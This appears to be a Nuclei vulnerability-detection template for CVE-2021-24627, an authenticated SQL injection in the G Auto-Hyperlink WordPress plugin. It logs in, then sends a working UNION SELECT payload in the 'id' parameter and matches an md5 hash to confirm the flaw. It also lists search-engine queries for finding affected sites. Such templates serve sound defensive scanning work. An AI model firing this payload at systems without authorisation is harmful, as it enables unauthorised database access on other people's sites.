CVE-2021-24627: G Auto-Hyperlink <= 1.0.1 - SQL Injection

id: CVE-2021-24627

info:
  name: G Auto-Hyperlink <= 1.0.1 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
  reference:
    - https://wordpress.org/plugins/g-auto-hyperlink/
    - https://wpscan.com/vulnerability/c04ea768-150f-41b8-b08c-78d1ae006bbb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24627
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24627
    cwe-id: CWE-89
    epss-score: 0.10037
    epss-percentile: 0.92794
    cpe: cpe:2.3:a:g_auto-hyperlink_project:g_auto-hyperlink:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: g_auto-hyperlink_project
    product: g_auto-hyperlink
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/g-auto-hyperlink/
    fofa-query: body=/wp-content/plugins/g-auto-hyperlink/
    publicwww-query: /wp-content/plugins/g-auto-hyperlink/
  tags: cve2021,cve,sqli,wpscan,wordpress,wp-plugin,wp,g-auto-hyperlink,authenticated,g_auto-hyperlink_project
variables:
  num: 999999999

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+I
      - |
        GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%28{{num}}%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25b"
          - "Keyword"
          - "g-auto-hyperlink-edit"
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
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